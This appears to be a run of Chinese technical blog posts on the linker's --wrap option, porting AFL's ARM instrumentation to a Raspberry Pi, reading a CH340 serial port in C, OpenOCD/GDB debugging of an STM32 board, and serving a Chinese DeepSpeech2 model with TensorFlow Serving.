7
// main.c
#include <signal.h>

int main() {
signal(SIGINT, SIG_DFL);
return 0;
}
1
2
3
4
$ gcc -c signal.c 
$ gcc main.c signal.o
$ ./a.out
2

替换不同名函数

__wrap_前缀重写需要替换的库函数,__real_前缀调用原库函数,示例程序如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <stdio.h>
#include <stdlib.h>

void *__wrap_malloc(size_t size)
{
void* result;
result = __real_malloc(size);
printf("malloc: allocate %d byte mem, start at %p\n", size, result);

return result;
}

int main()
{
int i,n;
char * buffer;
i = 20;
buffer = (char*)malloc(i+1);
if (buffer==NULL) exit(1);

for (n=0; n<i; n++)
buffer[n] = rand()%26+'a';
buffer[i]='\0';

printf("Random string: %s\n", buffer);
free(buffer);

return 0;
}

编译命令:

1
$ gcc test_malloc.c -Wl,--wrap=malloc -Wl,--wrap=free

-Wl,--wrap=malloc表示将程序中的malloc全部用__wrap_malloc替换。

reference
https://www.jianshu.com/p/eeba0e3dc900
https://hev.cc/2278.html

说是移植AFL,其实是移植android-afl,因为AFL的插桩代码都是汇编写的,原版都是ATT汇编,要直接写ARM汇编有点难度,android-afl里有这部分内容,所以改起来容易一些。但是Android和普通Linux还是有一些区别的,我用的是树莓派3B,Raspberry系统。
首先修改的是插桩部分的代码,在afl-as.c中的add_instrumentation_arm函数里,里面的插桩条件需要修改,一开始我只改了:

1
2
3
4
5
6
7
8
9
10
if (!strncmp(line, "\t.fnstart", 9)) {
instr_ok = 1;
instrument_next = 1;
continue;
}

if (!strncmp(line, "\t.fnend", 7)) {
instr_ok = 0;
continue;
}

因为我看在pi上用gcc -S vuln.c -o vuln.s编译出来的汇编文件中没有.fnstart和.fnend,就参照原版改成了.text和.section,然后就可以插桩了,我以为这样就可以了,结果发现far from it。。
后来我修改edit_params()里的modified_file,将AFL编译的汇编文件保存在当前目录,看到这个汇编文件有一千多行,比gcc编译的多了好多,不知道这些多的代码是AFL里哪些代码插入的,后来又修改了afl-gcc文件,打印编译时的选项,发现多了-g-O3-funroll-loop等。所以在编译汇编文件的时候加上了这些选项,编译出来的汇编文件就有一千多行了,只是还没有插桩,因此就对照这个汇编文件修改afl-as.c里的插桩条件的代码,这次修改之后就可以正确插桩了。
还有一个修改的地方是afl-as.h里的插桩trampoline代码和payload代码,跳板代码里有一个movw指令,afl-gcc编译目标代码的时候会出错,查了一下mov指令只能把小于0x100的立即数放到寄存器,大于0x100就可能出错,所以这里用的movw,但是编译不过,于是又找到了一个替代的方法,用ldr r0, =#%u方法,由编译器选择一个内存位置存放立即数,然后从内存中加载立即数到寄存器。
payload中的错误原因是Android的共享内存使用的是匿名共享内存,和普通Linux上使用方式有区别,找到这个错误是在运行afl-fuzz时fuzzer进程和fork server不能正常通信。在Android上获取共享内存的方法external/fio/os/os-android.h

1
2
3
4
5
6
7
static inline void *shmat (int __shmid, const void *__shmaddr, int __shmflg)
{
size_t *ptr, size = ioctl(__shmid, ASHMEM_GET_SIZE, NULL); // ASHMEM_GET_SIZE 0X7704
ptr = mmap(NULL, size + sizeof(size_t), PROT_READ | PROT_WRITE, MAP_SHARED, __shmid, 0);
*ptr = size; //save size at beginning of buffer, for use with munmap
return &ptr[1];
}

修改方法就是将payload的代码改成用shmat()获取共享内存。

我的stm32l431开发板使用的是CH340 USB转串口芯片,Linux默认有这个驱动程序,将设备插到电脑上后在/dev目录下会多一个ttyUSB0设备,用dmesg查看驱动内核log:

1
2
3
4
5
6
$ dmesg
...
[91912.510126] usbcore: registered new interface driver ch341
[91912.510142] usbserial: USB Serial support registered for ch341-uart
[91912.510157] ch341 3-3.1:1.0: ch341-uart converter detected
[91912.524719] usb 3-3.1: ch341-uart converter now attached to ttyUSB0

下面就编写读取串口数据的程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
#include <stdio.h>      /*标准输入输出定义*/
#include <stdlib.h> /*标准函数库定义*/
#include <unistd.h> /*Unix标准函数定义*/
#include <sys/types.h> /**/
#include <sys/stat.h> /**/
#include <fcntl.h> /*文件控制定义*/
#include <termios.h> /*PPSIX终端控制定义*/
#include <errno.h> /*错误号定义*/
#include <string.h>

#define TRUE 1
#define FALSE 0

/***@brief 设置串口通信速率
*@param fd 类型 int 打开串口的文件句柄
*@param speed 类型 int 串口速度
*@return void*/

void set_speed(int fd, int speed) {
int i;
int status;
struct termios Opt;
tcgetattr(fd, &Opt);
tcflush(fd, TCIOFLUSH);
cfsetispeed(&Opt, speed);
cfsetospeed(&Opt, speed);
status = tcsetattr(fd, TCSANOW, &Opt);
if (status != 0)
perror("tcsetattr fd1");
return;
}
/**
*@brief 设置串口数据位,停止位和效验位
*@param fd 类型 int 打开的串口文件句柄*
*@param databits 类型 int 数据位 取值 为 7 或者8*
*@param stopbits 类型 int 停止位 取值为 1 或者2*
*@param parity 类型 int 效验类型 取值为N,E,O,,S
*/
int set_Parity(int fd, int databits, int stopbits, int parity) {
struct termios options;
if (tcgetattr(fd, &options) != 0) {
perror("SetupSerial 1");
return (FALSE);
}
options.c_cflag &= ~CSIZE;
switch (databits) /*设置数据位数*/
{
case 7:
options.c_cflag |= CS7;
break;
case 8:
options.c_cflag |= CS8;
break;
default:
fprintf(stderr, "Unsupported data size\n");
return (FALSE);
}
switch (parity) {
case 'n':
case 'N':
options.c_cflag &= ~PARENB; /* Clear parity enable */
options.c_iflag &= ~INPCK; /* Enable parity checking */
break;
case 'o':
case 'O':
options.c_cflag |= (PARODD | PARENB); /* 设置为奇效验*/
options.c_iflag |= INPCK; /* Disnable parity checking */
break;
case 'e':
case 'E':
options.c_cflag |= PARENB; /* Enable parity */
options.c_cflag &= ~PARODD; /* 转换为偶效验*/
options.c_iflag |= INPCK; /* Disnable parity checking */
break;
case 'S':
case 's': /*as no parity*/
options.c_cflag &= ~PARENB;
options.c_cflag &= ~CSTOPB;
break;
default:
fprintf(stderr, "Unsupported parity\n");
return (FALSE);
}
/* 设置停止位*/
switch (stopbits) {
case 1:
options.c_cflag &= ~CSTOPB;
break;
case 2:
options.c_cflag |= CSTOPB;
break;
default:
fprintf(stderr, "Unsupported stop bits\n");
return (FALSE);
}
/* Set input parity option */
if (parity != 'n')
options.c_iflag |= INPCK;
options.c_cc[VTIME] = 150; // 15 seconds
options.c_cc[VMIN] = 0;

tcflush(fd, TCIFLUSH); /* Update the options and do it NOW */
if (tcsetattr(fd, TCSANOW, &options) != 0) {
perror("SetupSerial 3");
return (FALSE);
}
return (TRUE);
}
/**
*@brief 打开串口
*/
int OpenDev(char *Dev) {
int fd = open(Dev, O_RDWR); //| O_NOCTTY | O_NDELAY
if (-1 == fd) { /*设置数据位数*/
perror("Can't Open Serial Port");
return -1;
} else
return fd;
}
/**
*@brief main()
*/
int main(int argc, char **argv) {
int fd;
int nread;
char prev[512], buf[512];
char *dev = "/dev/ttyUSB0";
FILE *fp;

fd = OpenDev(dev);
if (fd > 0)
set_speed(fd, B115200);
else {
printf("Can't Open Serial Port!\n");
exit(0);
}
if (set_Parity(fd, 8, 1, 'N') == FALSE) {
printf("Set Parity Error\n");
exit(1);
}
while ((nread = read(fd, buf, 512)) > 0) {
buf[nread + 1] = '\0';
printf("buf: %s\n", buf);
}
close(fd);
return 0;
}

主要就是打开设备,设置一些通信速率等参数,然后像普通程序一样编译即可。这时还不能读设备的数据,需要先修改设备权限:

1
2
$ cd /dev
$ sudo chmod 666 ttyUSB0

然后再运行程序即可:

1
2
3
4
5
6
7
8
9
10
11
$ ./read_ch340                
buf: Welcome to IoT-Club, This is EVB-M1 Board.

buf:
e
buf: LOS_TaskCreate: 0
b
buf: input:
k
buf: recv: W

JTAG(Joint Test Action Group;联合测试工作组)是一种国际标准测试协议(IEEE 1149.1兼容),主要用于芯片内部测试。现在多数的高级器件都支持JTAG协议,如DSP、FPGA器件等。标准的JTAG接口是4线:TMS、TCK、TDI、TDO,分别为模式选择、时钟、数据输入和数据输出线。
OpenOCD是一个用于JTAG调试的软件, 可以用于不同调试器和CPU, 还可以与GDB配合,stlink和jlink都是符合JTAG标准的调试器。
想在Ubuntu下对stm32开发板进行调试需要先安装OpenOCD下载地址,在Ubuntu16.04上:

1
2
3
4
5
6
7
8
9
$ cd openocd-0.10.0
$ ./configure --enable-stlink
...
configure: error: libusb-1.x is required for the ST-Link JTAG Programmer
# 解决方法
$ sudo apt install libusb-1.0-0-dev
$ ./configure --enable-stlink
$ make
$ sudo make install

在Ubuntu18.04上即使apt安装了libusb库也会报这个错,可以直接使用sudo apt install openocd。
OpenOCD使用:

1
2
3
4
5
$ cd openocd-0.10.0
$ openocd -f tcl/interface/stlink-v2.cfg -f tcl/target/stm32l4x.cfg
Open On-Chip Debugger 0.10.0
...
Info : stm32l4x.cpu: hardware has 6 breakpoints, 4 watchpoints

我的stm32l431板用的是stlink2,配置文件就选择对应的文件,这里要用openocd源码里的,github上也有一个但是运行出错。

启动openocd之后可以使用nc命令连接4444端口:

1
2
3
$ nc -t localhost 4444
Open On-Chip Debugger
>

常用命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
> halt  # 停止cpu
> reg # 查看寄存器
> mdw 0x08000000 # memory display word 查看内存
> mww 0 0x12345678 # memory write word 没成功
> load_image leds.bin 0 # 下载程序到0地址
> resume 0 # 指定地址运行
> reset # 复位目标板子
> reset halt

> step 0 # 执行第一句并halt
> step # 单步执行
> bp # 设置断点
> bp 0x6c 4 hw # 设置硬件断点
> rbp 0x6c # 取消断点

可以看看ARM MDK v5里下载程序的起始位置,然后用dump_image获取设备固件。EVB_M1开发板的flash起始地址是0x08000000,大小是0x40000。dump flash文件:

1
2
3
> dump_image flash.bin 0x08000000 0x40000
```
或者用gdb连接,我一开始没有连接成功,后来改用[gcc-arm-none-eabi](https://developer.arm.com/-/media/Files/downloads/gnu-rm/8-2019q3/RC1.1/gcc-arm-none-eabi-8-2019-q3-update-linux.tar.bz2?revision=c34d758a-be0c-476e-a2de-af8c6e16a8a2?product=GNU%20Arm%20Embedded%20Toolchain,64-bit,,Linux,8-2019-q3-update)交叉编译工具链里的gdb连接,可以成功连接:

$ ./arm-none-eabi-gdb
(gdb) target remote localhost:3333
Remote debugging using localhost:3333

0x00000000 in ?? ()
(gdb) dump memory flash.bin 0x08000000 0x08040000

可以对flash进行dump,也可以进行单步调试等。  

**reference**  
https://www.cnblogs.com/milton/p/8861319.html  
http://www.mamicode.com/info-detail-2532993.html  
https://blog.csdn.net/zhengyangliu123/article/details/54934719  

原项目
下载models v1.11
因为项目要用到official包里的文件,所以将下载的models压缩包解压后,把其中的official文件夹拷贝到python包路径下,比如:

1
~/.virtualenvs/deepspeech/lib/python3.5/site-packages

安装official依赖:

1
$ pip install -r official/requirements.txt

训练中文

数据集必须是wav文件,采样率16000,单声道,时长不超过27.0秒。
标签文件格式如下:

1
2
3
wav_filename    wav_filesize    transcript
/home/fanrong/ASR/dataset/data_thchs30/train/A2_160.wav 342044 用 传 统 的 常 规 育 秧 方 式 每 育 一 亩 秧 苗 只 可 栽 插 八 亩 大 田 底 膜 育 秧 则 可 移 栽 五 十 亩
...

第一行是表头,后面每一行是文件路径、制表符、文件大小、制表符、语音对应的汉字。文件保存为.csv
要去掉时长超过27.0秒的音频,可以用如下shell文件:

1
2
3
4
train_file="train_dataset.csv"
final_train_file="final_train_dataset.csv"
MAX_AUDIO_LEN=27.0
awk -v maxlen="$MAX_AUDIO_LEN" 'BEGIN{FS="\t";} NR==1{print $0} NR>1{cmd="soxi -D "$1""; cmd|getline x; if(x<=maxlen) {print $0}; close(cmd);}' $train_file > $final_train_file

修改原项目/data/vocabulary.txt文件,#表示注释

1
2
3
4
5
6
7
8
9
10
11
12
13
# begin of vocabulary







.
.
.
-
# end of vacabulary

第一行是一个空格,最后一行是一个减号。
修改deep_speech.py中

1
greedy_decoder = decoder.DeepSpeechDecoder(speech_labels, blank_index=len(speech_labels))

加了一个blank_index,因为原项目用来识别英文,字典长度28,改成中文后长度发生变化。

开始训练

下面的命令是项目修改后要用的命令:

1
$ python deep_speech.py --train_data_dir=../data_thchs30/ch_train_dataset.csv --eval_data_dir=../data_thchs30/ch_test_dataset.csv --num_gpus=0

开始预测

1
$ python auto_speech_rec.py --pred_data_dir=../data_thchs30/ch_pred_dataset.csv --num_gpus=0

用tfserving部署

因为DeepSpeech2使用了Estimator所以和前一篇文章中介绍的保存savedmodel的方法有所不同,首先当然要去官方文档查看如何保存,官方文档是这样说的:
在training的时候需要一个input_fn()来准备数据给模型使用,在serving的时候类似,需要一个serving_input_receiver_fn()接收推理请求并做一些处理。该函数具有以下用途:

  • 在graph中为推理请求添加placeholder。
  • 添加将数据从输入格式转换为模型所预期的特征Tensor所需的任何额外操作。

该函数返回一个tf.estimator.export.ServingInputReceiver对象,该对象会将placeholder和生成的feature tensor打包在一起。
典型的模式是推理请求以序列化tf.Example的形式到达,因此serving_input_receiver_fn()创建单个字符串占位符来接收它们。serving_input_receiver_fn() 也负责解析tf.Example,通过向图graph中添加tf.parse_example操作,并将解析规范传递给tf.parse_example,告诉解析器可能会遇到哪些特征名称以及如何将它们映射到 Tensor。解析规范采用字典的形式,即从特征名称映射到tf.FixedLenFeaturetf.VarLenFeaturetf.SparseFeature。综上所述:

1
2
3
4
5
6
7
8
9
10
11
feature_spec = {'foo': tf.FixedLenFeature(...),
'bar': tf.VarLenFeature(...)}

def serving_input_receiver_fn():
"""An input receiver that expects a serialized tf.Example."""
serialized_tf_example = tf.placeholder(dtype=tf.string,
shape=[default_batch_size],
name='input_example_tensor')
receiver_tensors = {'examples': serialized_tf_example}
features = tf.parse_example(serialized_tf_example, feature_spec)
return tf.estimator.export.ServingInputReceiver(features, receiver_tensors)

看完官方文档大体知道是什么流程了,但是没有具体的例子,对于tf新手来说很难知道具体怎么操作,比如官方文档中的’序列化tf.Example形式’,从来没有用过。所以还是从github上找了一个例子。例子中的export.py文件是用来保存savedmodel的,其中实现的serving_input_receiver_fn()并没有用到官方文档中的tf.Example和tf.parse_example等,也不用定义解析规范。只是定义了一个接收到的数据所需的placeholder,并将这个placeholder加工处理为feature tensor,最后把它们打包在一起。
仿照例子中的形式,我在data/dataset.py中添加了serving_input_receiver_fn()函数:

1
2
3
4
5
6
7
def serving_input_receiver_fn():
audio_feature = tf.placeholder(dtype=tf.float32, shape=[None, None, 161, 1], name='features')
input_length = tf.placeholder(dtype=tf.float32, shape=[None, 1], name='input_length')
label_length = tf.placeholder(dtype=tf.float32, shape=[None, 1], name='label_length')
receiver_tensors = {'features':audio_feature, 'input_length':input_length, 'label_length':label_length}
features = receiver_tensors
return tf.estimator.export.ServingInputReceiver(features, receiver_tensors)

其中的placeholder可以参照input_fn(),但是要多一维,因为有instances批量推理请求的情况。接着需要在auto_speech_rec.py中的run_deep_speech()中添加:

1
2
estimator = tf.estimator.Estimator(...)
estimator.export_savedmodel(flags_obj.export_dir, dataset.serving_input_receiver_fn)

运行一遍auto_speech_rec.py即可导出savedmodel形式的模型。最后还需要编写一个client来进行推理请求:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import os
import sys
import decoder
import requests
import numpy as np
import data.dataset as dataset
import data.featurizer as featurizer
from deep_speech import generate_dataset

URL = 'http://localhost:8503/v1/models/deepspeech:predict'
VOCABULARY = os.path.abspath('data/vocabulary.txt')
audio_file = '/home/fanrong1/Project/ASR/dataset/data_thchs30/pred/A12_100.wav'

if __name__ == '__main__':
audio_featurizer = featurizer.AudioFeaturizer()
text_featurizer = featurizer.TextFeaturizer(VOCABULARY)
features = dataset._preprocess_audio(audio_file, audio_featurizer, True)
predict_request = '{"inputs":{"features":%s, "input_length":[[%s]], "label_length":[[0]]}}' % ([features.tolist()], len(features))
response = requests.post(URL, data=predict_request)
#print(response.text)
response.raise_for_status()
y_pred = response.json()['outputs']
pred = y_pred['probabilities'][0]

greedy_decoder = decoder.DeepSpeechDecoder(text_featurizer.speech_labels, blank_index=len(text_featurizer.speech_labels))
decoded_str = greedy_decoder.decode(pred)
decoded_str = decoded_str.replace(' ', '').replace('-', '')
print(decoded_str)